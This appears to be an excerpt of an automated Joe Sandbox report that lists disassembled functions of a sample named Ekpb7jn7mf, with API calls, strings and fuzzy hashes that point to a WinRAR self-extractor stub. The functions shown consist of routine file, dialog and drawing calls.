Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: d7e2d38c53ea50d8d6f2b087bcee56e4380f1a53bbbe24c4848b2102da79a821
Instruction ID: 18a454af694ecf558c9de2c3b9fe70b0a29876972dccec8d3d2db288ca25061c
Opcode Fuzzy Hash: d7e2d38c53ea50d8d6f2b087bcee56e4380f1a53bbbe24c4848b2102da79a821
Instruction Fuzzy Hash: 4A319A71600604EFCB319FA4CC48AAFBBB9FF48710F10452AF85692361D735AD91CBA9

Function 0040515C Relevance: 21.1, APIs: 14, Instructions: 91COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0040517A
_wcslen.LIBCMT ref: 00405182
_wcscpy.LIBCMT ref: 00405192
_wcslen.LIBCMT ref: 00405198
_wcscpy.LIBCMT ref: 004051B0
_wcslen.LIBCMT ref: 004051B6
_wcscpy.LIBCMT ref: 004051C5
_wcslen.LIBCMT ref: 004051CB
_memset.LIBCMT ref: 004051E0
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040522C
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 0040523C
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405258
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: a5faa8c4c69004b7bb5267c6c72b3ff1a4d2df59c7eb0ab7550321787e94547b
Instruction ID: 55bf67cc7318731f0be5ec7d78ee7543e3385b57d9dccdff966e71b7230244cc
Opcode Fuzzy Hash: a5faa8c4c69004b7bb5267c6c72b3ff1a4d2df59c7eb0ab7550321787e94547b
Instruction Fuzzy Hash: AD31A871905614ABCF11EFA5DC49ACF7BB8EF04354F10042BF905B7241DB3899958FAA

Function 00419A80 Relevance: 19.6, APIs: 13, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00419A8C
CreateCompatibleDC.GDI32(00000000), ref: 00419A9C
CreateCompatibleDC.GDI32(?), ref: 00419AA3
GetObjectW.GDI32(?,00000018,?), ref: 00419AB1
CreateCompatibleBitmap.GDI32(?,00000200,00419C32), ref: 00419AD3
SelectObject.GDI32(00000000,?), ref: 00419AE6
SelectObject.GDI32(?,00000200), ref: 00419AF1
StretchBlt.GDI32(?,00000000,00000000,00000200,00419C32,00000000,00000000,00000000,?,?,00CC0020), ref: 00419B0F
SelectObject.GDI32(00000000,?), ref: 00419B19
SelectObject.GDI32(?,00419C32), ref: 00419B21
DeleteDC.GDI32(00000000), ref: 00419B2A
DeleteDC.GDI32(?), ref: 00419B2F
ReleaseDC.USER32(00000000,?), ref: 00419B35

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: 645663dba6679b36ad936e8b2df9ede2b2f8713d484d9860903d99ab566a2af6
Instruction ID: 119e2cb59528a0c7d7cd872958e0e9ee33bbab5a20e852a649a5765f6f8a0c9b
Opcode Fuzzy Hash: 645663dba6679b36ad936e8b2df9ede2b2f8713d484d9860903d99ab566a2af6
Instruction Fuzzy Hash: 7D21A376900258FFCF129FA1CC48DEEBFB9FB49350B104466F914A2120C7369A65EFA4

Function 0041E604 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D828,0000000C,0041E73F,00000000,00000000,?,0041FC28,0041A72A,00000456,?,?,0041A72A,00000000,?), ref: 0041E616
__crt_waiting_on_module_handle.LIBCMT ref: 0041E621

Part of subcall function 00421215: Sleep.KERNEL32(000003E8,00000000,?,0041E567,KERNEL32.DLL,?,0041E5B3,?,0041FC28,0041A72A,00000456,?,?,0041A72A,00000000,?), ref: 00421221
Part of subcall function 00421215: GetModuleHandleW.KERNEL32(00000000,?,0041E567,KERNEL32.DLL,?,0041E5B3,?,0041FC28,0041A72A,00000456,?,?,0041A72A,00000000,?), ref: 0042122A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E64A
GetProcAddress.KERNEL32(0041A72A,DecodePointer), ref: 0041E65A
__lock.LIBCMT ref: 0041E67C
InterlockedIncrement.KERNEL32(?), ref: 0041E689
__lock.LIBCMT ref: 0041E69D
___addlocaleref.LIBCMT ref: 0041E6BB

Strings

KERNEL32.DLL, xrefs: 0041E610, 0041E615, 0041E620
EncodePointer, xrefs: 0041E63E
DecodePointer, xrefs: 0041E652

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 9635beca641f941a5cf41b771aad4b1ee68b70dcc45c0ba52da07d90b48f8134
Instruction ID: 4acc287862233ff18776b049d6808c76d8f0a9d559ad4d14c80fa06a5396db16
Opcode Fuzzy Hash: 9635beca641f941a5cf41b771aad4b1ee68b70dcc45c0ba52da07d90b48f8134
Instruction Fuzzy Hash: 6611C671A00701DFD720AF269805B9AB7F0AF14314FD0456FE8A9972A0CB7895418F5D

Function 0040EF6B Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0040EFFB
_wcscpy.LIBCMT ref: 0040F01A
_wcschr.LIBCMT ref: 0040F028
_wcscpy.LIBCMT ref: 0040F048
_wcscpy.LIBCMT ref: 0040F0D2
_wcscpy.LIBCMT ref: 0040F18A
_wcscpy.LIBCMT ref: 0040F207

Part of subcall function 00410951: _wcsncpy.LIBCMT ref: 00410968

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F299

Strings

.lnk, xrefs: 0040F1CA, 0040F1DA
", xrefs: 0040F000

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb0bb07d20d58bc274e12b24089ba0bdb5e5ebd778e433f1e53f3b196b6d260a
Instruction ID: 278b349919d3cb1b668631eb1181db1a3f53cfa3356272b2b6a730d4ec44b6fe
Opcode Fuzzy Hash: bb0bb07d20d58bc274e12b24089ba0bdb5e5ebd778e433f1e53f3b196b6d260a
Instruction Fuzzy Hash: 909186729042289ADF35DBA1CC45EEE73BCBB04304F4445BBE109F7081EB789AD88B55

Function 0040ED72 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040ED8F

Part of subcall function 0040A00A: _wcslen.LIBCMT ref: 0040A010
Part of subcall function 0040A00A: _wcscat.LIBCMT ref: 0040A02F

_swprintf.LIBCMT ref: 0040EDCB

Part of subcall function 00401B74: __vswprintf_c_l.LIBCMT ref: 00401B87

SetDlgItemTextW.USER32(?,00000066,?), ref: 0040EDED
_wcschr.LIBCMT ref: 0040EE20
_wcscpy.LIBCMT ref: 0040EE64
_wcscpy.LIBCMT ref: 0040EE8D
_wcscpy.LIBCMT ref: 0040EEA0
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040EED0
EndDialog.USER32(?,00000001), ref: 0040EEF2

Strings

%s%s%d, xrefs: 0040EDA8, 0040EDC2

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: 6a88fec46c6e2ed339dc460f0013721632dfbcda676ebdc8d99927cb56d757a2
Instruction ID: fed5c536f3b2b7c610a00bc298727fa3e828a9ff45da11d674a63ad0a1871450
Opcode Fuzzy Hash: 6a88fec46c6e2ed339dc460f0013721632dfbcda676ebdc8d99927cb56d757a2
Instruction Fuzzy Hash: D951827280011CABDB21DB61DC44BEE77B9BB04308F4444BBE709A3191E7799AA98B59

Function 00418F4D Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00418F58
_malloc.LIBCMT ref: 00418F66

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

_wcscpy.LIBCMT ref: 00418F84
_wcslen.LIBCMT ref: 00418F8A
_wcscpy.LIBCMT ref: 00418FD2

Strings

<br>, xrefs: 00418FCA
, xrefs: 00418FA2
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00418F7E
 , xrefs: 00419007

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: a39a975298e6c280c7f418a7708ae3b0cba04351458a02580fee1fe22ee1b99d
Instruction ID: 8ed00ed3361364beb19460b19ebaa28e3934aa6a6d72a9a41527c955c98881c6
Opcode Fuzzy Hash: a39a975298e6c280c7f418a7708ae3b0cba04351458a02580fee1fe22ee1b99d
Instruction Fuzzy Hash: 85212872944304ABDB20AF54DC41ADA77B5EF44328B21041FE441A7291EBBCADE2839E

Function 0040F324 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F38D
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0040F3A2
GetDlgItem.USER32(?,00000065), ref: 0040F3B1
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F3C6
GetSysColor.USER32(0000000F), ref: 0040F3CA
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F3DA
SetForegroundWindow.USER32(?), ref: 0040F3F4
EndDialog.USER32(?,00000001), ref: 0040F427

Strings

LICENSEDLG, xrefs: 0040F330

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: 5bf4323c514809b6aac91268663061aef5a0f9b8203f86075640bcbbe7bd9289
Instruction ID: b3d4d6040a58ead9781f4e0a9c08f90d7aa975f3480a485700ae2804d7b30663
Opcode Fuzzy Hash: 5bf4323c514809b6aac91268663061aef5a0f9b8203f86075640bcbbe7bd9289
Instruction Fuzzy Hash: 52210B71200204BBDB31AFA1EC49F6B3BADFB59B14F409436FE05A51E1C6798865DB2C

Function 0040DA71 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0040DA91
GetClassNameW.USER32(00000000,?,00000800), ref: 0040DACA

Part of subcall function 00411BD1: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409BC8,?,00000000,?,00409CE2,00000000,-00000002,?,00000000,?), ref: 00411BE7

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DAE8
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DAFF
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DB0E

Part of subcall function 00419B88: GetDC.USER32(00000000), ref: 00419B94
Part of subcall function 00419B88: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419BA3
Part of subcall function 00419B88: ReleaseDC.USER32(00000000,00000000), ref: 00419BB1

Part of subcall function 00419B45: GetDC.USER32(00000000), ref: 00419B51
Part of subcall function 00419B45: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419B60
Part of subcall function 00419B45: ReleaseDC.USER32(00000000,00000000), ref: 00419B6E

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DB35
DeleteObject.GDI32(00000000), ref: 0040DB40
GetWindow.USER32(00000000,00000002), ref: 0040DB49

Strings

STATIC, xrefs: 0040DAD0

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 9c39359ee33ba118c9e5bf82dadea384c3cf2197b7365b4ccf5d0ba242f48d8d
Instruction ID: b2011dbba9a3bc3ba255de89cafec419f36bdcf8549ad9effb89a34e701b2038
Opcode Fuzzy Hash: 9c39359ee33ba118c9e5bf82dadea384c3cf2197b7365b4ccf5d0ba242f48d8d
Instruction Fuzzy Hash: 8D21D631E40204BBDB21ABA4DC86FEF7378AB41B44F414026FE04B61C1DB7CA946966D

Function 0040BDCF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0040BE3E
_strlen.LIBCMT ref: 0040BE6F
_swprintf.LIBCMT ref: 0040BE91
_wcschr.LIBCMT ref: 0040BEB6
_wcsncpy.LIBCMT ref: 0040BEEA
_wcsrchr.LIBCMT ref: 0040BEFB
_wcscpy.LIBCMT ref: 0040BF19

Strings

%08x, xrefs: 0040BE86

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: bbdd19f016625eef11faa4fdbd5798c0b2f9fd945c0c283110aeb49f0b8415de
Instruction ID: 2344540725ce6d90efac3d14ec0117aaa2fc99d666fc041b412929bc598a6daf
Opcode Fuzzy Hash: bbdd19f016625eef11faa4fdbd5798c0b2f9fd945c0c283110aeb49f0b8415de
Instruction Fuzzy Hash: FD41D7325102196ADB24AA65DC81AFB33ACDB40354F50043BFA05E72D1EB7CDD9096EE

Function 0040A566 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 0040A42F: _wcsrchr.LIBCMT ref: 0040A443

_wcslen.LIBCMT ref: 0040A59C
_wcscpy.LIBCMT ref: 0040A5D1

Part of subcall function 0041097E: _wcslen.LIBCMT ref: 00410984
Part of subcall function 0041097E: _wcsncat.LIBCMT ref: 0041099D

_wcslen.LIBCMT ref: 0040A611
_wcscpy.LIBCMT ref: 0040A683

Strings

rar, xrefs: 0040A5CB
sfx, xrefs: 0040A5BC
exe, xrefs: 0040A5AD
.rar, xrefs: 0040A57D

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 3e273efd549707747d43a6a5138d94cb353cae60e4e02cf3af8f5c99256b3f59
Instruction ID: f83e943ddf972e8f8a22e2eb52403a1e06515caeb65f170328b258566fe773e3
Opcode Fuzzy Hash: 3e273efd549707747d43a6a5138d94cb353cae60e4e02cf3af8f5c99256b3f59
Instruction Fuzzy Hash: 2B312821104310A9C725AB219C56A7B73B89F15758B690C2FF8C2BB1D2E77D8CF2825F

Function 004193B0 Relevance: 13.6, APIs: 9, Instructions: 133windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004193C9
GetTickCount.KERNEL32 ref: 004193E4
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004193F8
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419409
TranslateMessage.USER32(?), ref: 00419413
DispatchMessageW.USER32(?), ref: 0041941D
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 004194BD
ShowWindow.USER32(?,00000005), ref: 004194C8
SetWindowTextW.USER32(?,00000000), ref: 004194D2

Part of subcall function 0041A27A: __lock.LIBCMT ref: 0041A298
Part of subcall function 0041A27A: ___sbh_find_block.LIBCMT ref: 0041A2A3
Part of subcall function 0041A27A: ___sbh_free_block.LIBCMT ref: 0041A2B2
Part of subcall function 0041A27A: RtlFreeHeap.NTDLL(00000000,00000000,0042D5E0,0000000C,0041ED34,00000000,0042D8B8,0000000C,0041ED6E,00000000,0041A71B,?,004251F8,00000004,0042DAA0,0000000C), ref: 0041A2E2
Part of subcall function 0041A27A: GetLastError.KERNEL32(?,004251F8,00000004,0042DAA0,0000000C,004210EE,00000000,0041A72A,00000000,00000000,00000000,?,0041E716,00000001,00000214), ref: 0041A2F3

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: 968d995a82d5f0ea48cefb7abe764611dda9416a2252b86e5235ea0c7dc78474
Instruction ID: 87a789d033c7877a5d6241aac1848da5b39df01b2a251d2073d25f1852c58bae
Opcode Fuzzy Hash: 968d995a82d5f0ea48cefb7abe764611dda9416a2252b86e5235ea0c7dc78474
Instruction Fuzzy Hash: 0B413871A00218BFCB20DFA5C8889DEBBB9FF48755B14845AF905D7250D734DE82CBA4

Function 0040840E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408413
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408436
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00408455

Part of subcall function 0040A2A0: _wcslen.LIBCMT ref: 0040A2A6

Part of subcall function 00411BD1: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409BC8,?,00000000,?,00409CE2,00000000,-00000002,?,00000000,?), ref: 00411BE7

_swprintf.LIBCMT ref: 004084ED

Part of subcall function 00401B74: __vswprintf_c_l.LIBCMT ref: 00401B87

MoveFileW.KERNEL32(?,00000000), ref: 00408559
MoveFileW.KERNEL32(00000000,?), ref: 0040859C

Part of subcall function 00410951: _wcsncpy.LIBCMT ref: 00410968

Strings

rtmp%d, xrefs: 004084DA

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: 9dcb41b66bc9883f639689ce326a7a0d157b8eb283d37bb684c103709a5e220b
Instruction ID: db8d7cd9f858afa19c11e334fa89902149cdf40e0c37418c1c820aad0f31ba4e
Opcode Fuzzy Hash: 9dcb41b66bc9883f639689ce326a7a0d157b8eb283d37bb684c103709a5e220b
Instruction Fuzzy Hash: 28418371901219AACF20EB61CE45ADF777CAF10394F0008BBB585B7181DB7C9B85CE69

Function 0040A6EC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040A713

Part of subcall function 00401B74: __vswprintf_c_l.LIBCMT ref: 00401B87

_wcschr.LIBCMT ref: 0040A731
_wcschr.LIBCMT ref: 0040A741
_wcsncpy.LIBCMT ref: 0040A767

Strings

%s.%d.tmp, xrefs: 0040A6F1
%c:\, xrefs: 0040A709

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
